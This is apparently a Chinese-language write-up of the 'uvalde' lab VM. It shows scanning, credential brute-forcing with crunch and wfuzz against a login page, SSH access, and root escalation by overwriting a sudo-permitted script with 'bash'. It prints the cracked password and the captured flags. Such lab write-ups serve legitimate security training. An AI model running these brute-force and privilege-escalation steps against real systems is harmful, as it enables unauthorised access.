uvalde-bash提权

简介: uvalde-bash提权

服务探测

┌──(kali㉿kali)-[~]
└─$ nmap -sV -A -T 4 -p- 192.168.18.238

21,22,80

这里有个ftp有个匿名访问,里面有个output 文件,记录一些登录后的操作,我们先放着。可以知道一个用户名是matthew

目录扫描

gobuster dir -u http://192.168.18.2338/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt,png -e

这里发现一个任意注册接口http://192.168.18.238/create_account.php,发现存在一定的规律,创建成功后会以bash64的方式返回账号密码

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ echo "dXNlcm5hbWU9YWRtaSZwYXNzd29yZD1hZG1pMjAyNEA3NzEy" | base64 -d    
username=admi&password=admi2024@7712 

解码后,发现密码的规律是用户名+2024@四位随机数,但是这是去年的靶场,所以应该是2023

发现还有一个用户名遍历漏洞,只要是被注册的用户都会返回 Username already exists

所以我们尝试爆破matthew用户,可以用burp但是太慢,我用wfuzz

先生成一个字典

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ crunch 4 4 0123456789 -o 1234

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ for i in {1000..10000};do echo $i;done > numbers.txt

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ wfuzz -X POST -d "username=matthew&password=matthew2024@FUZZ" -w 1234 -u http://192.168.18.238/login.php --hw 103
=====================================================================
ID           Response   Lines    Word       Chars       Payload     
=====================================================================

000001555:   302        0 L      0 W        0 Ch        "1554"  

所以用户密码是`matthew: matthew2023@1554

ssh连接

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ ssh matthew@192.168.18.238  //matthew2023@1554

matthew@uvalde:~$ cat user.txt 
6e4136fbed8f8c691996dbf42697d460

提权

sudo -l //(ALL : ALL) NOPASSWD: /bin/bash /opt/superhack
这里有个勒索程序
matthew@uvalde:~$ sudo /bin/bash /opt/superhack 
Pay 0.000047 BTC to 3FZbgi29cpjq2GjdwV8eyHuJJnkLtktZc5 to unlock backdoor.                                                        

不过这里写什么并不重要,重要的是我们可以修改该文件

我们将superhack 文件重命名为superhack.back,然后重新创建一个superhack 文件,里面写入bash,然后使用sudo 执行,成功获取root 权限。

matthew@uvalde:~$ cd  /opt/
matthew@uvalde:/opt$ mv superhack superhack.bak
matthew@uvalde:/opt$ echo "bash" > superhack
matthew@uvalde:/opt$ sudo -u root /bin/bash /opt/superhack

root@uvalde:~# cat root.txt
59ec54537e98a53691f33e81500f56da


相关文章
|
存储 Java 编译器
java和c++的主要区别、各自的优缺点分析、java跨平台的原理的深度解析
java和c++的主要区别、各自的优缺点分析、java跨平台的原理的深度解析
1624 0
项目经理进行竞品分析时可以参考的几个网站
项目经理进行竞品分析时可以参考的几个网站
|
存储 缓存 移动开发
HTML5 的离线储存怎么使用,工作原理
HTML5 的离线储存怎么使用,工作原理
386 0
|
XML 数据采集 存储
使用Java和XPath在XML文档中精准定位数据
在数据驱动的时代,从复杂结构中精确提取信息至关重要。XML被广泛用于数据存储与传输,而XPath则能高效地在这些文档中导航和提取数据。本文深入探讨如何使用Java和XPath精准定位XML文档中的数据,并通过小红书的实际案例进行分析。首先介绍了XML及其挑战,接着阐述了XPath的优势。然后,提出从大型XML文档中自动提取特定产品信息的需求,并通过代理IP技术、设置Cookie和User-Agent以及多线程技术来解决实际网络环境下的数据抓取问题。最后,提供了一个Java示例代码,演示如何集成这些技术以高效地从XML源中抓取数据。
498 7
使用Java和XPath在XML文档中精准定位数据
|
缓存 监控 算法
软件测试中的性能瓶颈分析与优化策略
【10月更文挑战第6天】 性能测试是确保软件系统在高负载条件下稳定运行的重要手段。本文将深入探讨性能测试的常见瓶颈,包括硬件资源、网络延迟和代码效率等问题。通过具体案例分析,我们将展示如何识别并解决这些问题,从而提升软件的整体性能。最后,文章还将分享一些实用的性能优化技巧,帮助读者在日常开发和测试中更好地应对性能挑战。
725 3
|
算法 Unix Linux
linux线程调度策略
linux线程调度策略
463 0
|
域名解析 网络协议
阿里云如何找回域名,进行添加或删除?
阿里云如何找回域名,进行添加或删除?
|
存储 Go
Go中make和new的区别
在 Go 语言中,`make` 和 `new` 都用于分配内存,但功能不同。`make` 用于初始化切片、映射和通道,并返回初始化后的对象;`new` 分配内存并返回指向零值的指针,适用于任何类型。`make` 返回的是数据结构本身,而 `new` 返回指针。`make` 完整初始化特定数据结构,`new` 只初始化为零值。
431 0
|
存储 文件存储
NAS个人云存储 - 手把手教你搭建Nextcloud个人云盘并实现公网远程访问(下)
NAS个人云存储 - 手把手教你搭建Nextcloud个人云盘并实现公网远程访问
|
测试技术 持续交付 开发者
使用Docker构建CI/CD流程:从理论到实践
【8月更文挑战第2天】使用Docker构建CI/CD流程,可以显著提高软件开发的效率和质量。通过容器化技术,开发者可以确保环境的一致性,快速部署和测试应用,并减少人为错误。结合合适的CI/CD工具和最佳实践,可以进一步加速软件交付过程,提高用户满意度。希望本文能为开发者在构建基于Docker的CI/CD流程时提供有价值的参考。